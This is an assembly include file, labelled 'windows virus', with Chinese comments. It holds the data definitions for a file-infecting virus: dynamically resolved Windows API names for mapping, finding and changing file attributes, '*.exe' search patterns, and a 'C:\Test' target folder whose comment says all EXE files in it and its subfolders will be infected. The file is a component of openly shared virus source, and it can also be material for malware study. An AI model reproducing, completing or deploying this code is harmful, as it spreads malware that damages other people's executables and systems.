_alldatadefine.inc

windows virus

;###########################################################################
;#			所有要使用的API名称				   #
;#			G_ 表示为全局使用变量				   #
;#			L_ 表示为局部使用变量				   #
;#			D_ 表示伪定义的数字				   #
;###########################################################################
	G_szLoadLibrary		DB	'LoadLibraryA',0
	G_szGetProcAddress	DB	'GetProcAddress',0
	G_szMessageBox		DB	'MessageBoxA',0
	G_szWsprintf		DB	'wsprintfA',0

	L_szCreateFile		DB	'CreateFileA',0			;1
	L_szCreateFileMapping	DB	'CreateFileMappingA',0		;2
	L_szMapViewOfFile	DB	'MapViewOfFile',0		;3
	L_szUnmapViewOfFile	DB	'UnmapViewOfFile',0		;4
	L_szCloseHandle		DB	'CloseHandle',0			;5
	L_szGetFileSize		DB	'GetFileSize',0			;6
	L_szFindFirstFile	DB	'FindFirstFileA',0		;7
	L_szFindNextFile	DB	'FindNextFileA',0		;8
	L_szFindClose		DB	'FindClose',0			;9
	L_szGetFileAttributes	DB	'GetFileAttributesA',0		;10
	L_szSetFileAttributes	DB	'SetFileAttributesA',0		;11

	D_NumberOfApis		EQU	0BH
;###########################################################################
;#			API函数名数组					   #
;###########################################################################
	G_ApiNameArray		EQU	THIS	DWORD
				DD	OFFSET	L_szCreateFile		;1
				DD	OFFSET	L_szCreateFileMapping	;2
				DD	OFFSET	L_szMapViewOfFile	;3
				DD	OFFSET	L_szUnmapViewOfFile	;4
				DD	OFFSET	L_szCloseHandle		;5
				DD	OFFSET	L_szGetFileSize		;6
				DD	OFFSET	L_szFindFirstFile	;7
				DD	OFFSET	L_szFindNextFile	;8
				DD	OFFSET	L_szFindClose		;9
				DD	OFFSET	L_szGetFileAttributes	;10
				DD	OFFSET	L_szSetFileAttributes	;11
				;	NameArray	结束
;###########################################################################
;#			API地址指针数组					   #
;###########################################################################
	G_ApiAddressArray	EQU	THIS	DWORD
	G_pCreateFile		DD	0		;1
	G_pCreateFileMapping	DD	0		;2
	G_pMapViewOfFile	DD	0		;3
	G_pUnmapViewOfFile	DD	0		;4
	G_pCloseHandle		DD	0		;5
	G_pGetFileSize		DD	0		;6
	G_pFindFirstFile	DD	0		;7
	G_pFindNextFile		DD	0		;8
	G_pFindClose		DD	0		;9
	G_pGetFileAttributes	DD	0		;10
	G_pSetFileAttributes	DD	0		;11
				;	FuncArray	结束
	G_pLoadLibrary		DD	0
	G_pGetProcAddress	DD	0
	G_pMessageBox		DD	0
	G_pWSprintf		DD	0

;###########################################################################
;#			其他要使用的数据定义				   #
;###########################################################################
	G_szBehaviorCaption	DB	'询问',0
	G_szBehaviorBody	DB	'是否要运行程序?',0
	G_szUser32		DB	'user32.dll',0
	G_szConstructFormat	DB	'%s\%s',0
	G_szExeTail		DB	'*.exe',0
	G_szFolderTail		DB	'*.*',0
;###########################################################################
;#	测试感染的文件夹,请谨慎设置,因为其中的所有EXE文件都将被感染	   #
;#      也包含其子文件夹内的EXE文件					   #
;###########################################################################
	G_szFolder		DB	'C:\Test',0	;测试感染文件定义
;###########################################################################
;#			     数据定义结束				   #
;###########################################################################